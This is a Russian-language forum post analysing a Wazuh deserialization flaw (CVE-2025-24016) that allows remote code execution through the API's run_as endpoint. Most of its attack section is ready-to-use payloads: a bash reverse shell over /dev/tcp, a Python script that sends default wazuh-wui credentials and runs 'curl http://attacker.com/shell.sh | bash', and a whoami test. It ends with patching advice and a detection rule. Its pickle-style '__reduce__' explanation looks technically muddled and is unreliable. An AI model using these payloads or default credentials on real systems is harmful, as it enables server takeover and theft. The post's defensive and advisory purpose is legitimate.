CVE-2025-24016 Уязвимость BDU:2025-01366

VIs0

New member
Пользователь
Регистрация
1 Апр 2025
Сообщения
4
Реакции
0

Уязвимость BDU:2025-01366 (CVE-2025-24016) функции «as_wazuh_object» Wazuh​


Уязвимость BDU:2025-01366 (CVE-2025-24016) в системе Wazuh связана с небезопасной десериализацией данных в модуле DistributedAPI. Функция as_wazuh_object, используемая для восстановления объектов из JSON-данных, некорректно обрабатывает пользовательский ввод. Это позволяет злоумышленнику внедрить произвольные объекты Python, что приводит к выполнению кода на сервере Wazuh (RCE). Уязвимость актуальна для версий Wazuh до 4.9.1.

Технические детали​

  1. Механизм десериализации​

    Wazuh использует собственную логику для десериализации параметров, передаваемых между узлами кластера или компонентами системы. Например, при обработке запросов к API (к примеру, /run_as) данные преобразуются из JSON в объекты Python с помощью функции as_wazuh_object. В уязвимых версиях этот процесс допускает создание объектов с произвольными атрибутами, включая опасные методы (например, os.system, subprocess.run).
  2. Условия эксплуатации​

    • Доступ к API Wazuh (порт 55000 по умолчанию). Это требует нахождения в локальной сети или открытого доступа к серверу.
    • Наличие действительных учетных данных для авторизации (например, wazuh-wui:MyS3cr37P450r.*- или других компрометированных данных).
    • Версия Wazuh ≤ 4.9.0.

Анализ эксплоитов из общего доступа​

Эксплоит 1: Использование reduce

Первый PoC использует метод __reduce__, специфичный для модуля pickle в Python. При десериализации __reduce__ возвращает кортеж с функцией и аргументами, которые выполняются на сервере. Пример полезной нагрузки:

Python:
{
  "__reduce__": [
    "__import__('os').system",
    ["whoami"]
  ]
}

Этот код вызывает os.system("whoami") при десериализации JSON-запроса.

Эксплоит 2: Инъекция через unhandled_exc​

Второй эксплоит пытается использовать обработку исключений в Wazuh:

Python:
payload = {
    "__unhandled_exc__": {
        "__class__": "os.system",
        "__args__": [
            f"bash -i >& /dev/tcp/{args.ip}/{args.port} 0>&1"
        ]
    }
}

Однако такой подход менее надежен, так как требует, чтобы сервер обрабатывал исключения определенным образом (что могло быть исправлено в патче).

Пример эксплуатации через Python-скрипт​

Фрагмент кода из первого эксплоита:

Python:
target = "http://10.0.0.5:55000"
auth_header = base64.b64encode(b"wazuh-wui:MyS3cr37P450r.*-").decode()
payload = {
    "__reduce__": ["__import__('os').system", ["curl http://attacker.com/shell.sh | bash"]]
}

response = requests.post(
    f"{target}/security/user/authenticate/run_as",
    headers={"Authorization": f"Basic {auth_header}"},
    json=payload,
    verify=False
)

Этот код загружает и выполняет скрипт с удаленного сервера.

Защита и рекомендации​

  1. Обновление
    Установите Wazuh версии 4.9.1 или выше, где исправлена логика десериализации.
  2. Ограничение доступа к API
    • Запретите внешний доступ к порту 55000 через фаервол.
    • Используйте VPN для доступа к панели управления.
  3. Мониторинг запросов
    Настройте правила для обнаружения подозрительных запросов к /run_as, например:

Пример правила для Wazuh Manager:
<rule id="100001">
    <description>RCE Attempt via DistributedAPI</description>
    <regex>"__reduce__"|"__unhandled_exc__"</regex>
    <group>wazuh_api_audit</group>
</rule>

Регулярно меняйте пароли по умолчанию и используйте многофакторную аутентификацию.

Bonus:

Вы должны быть зарегистрированы для просмотра вложений
 
Сверху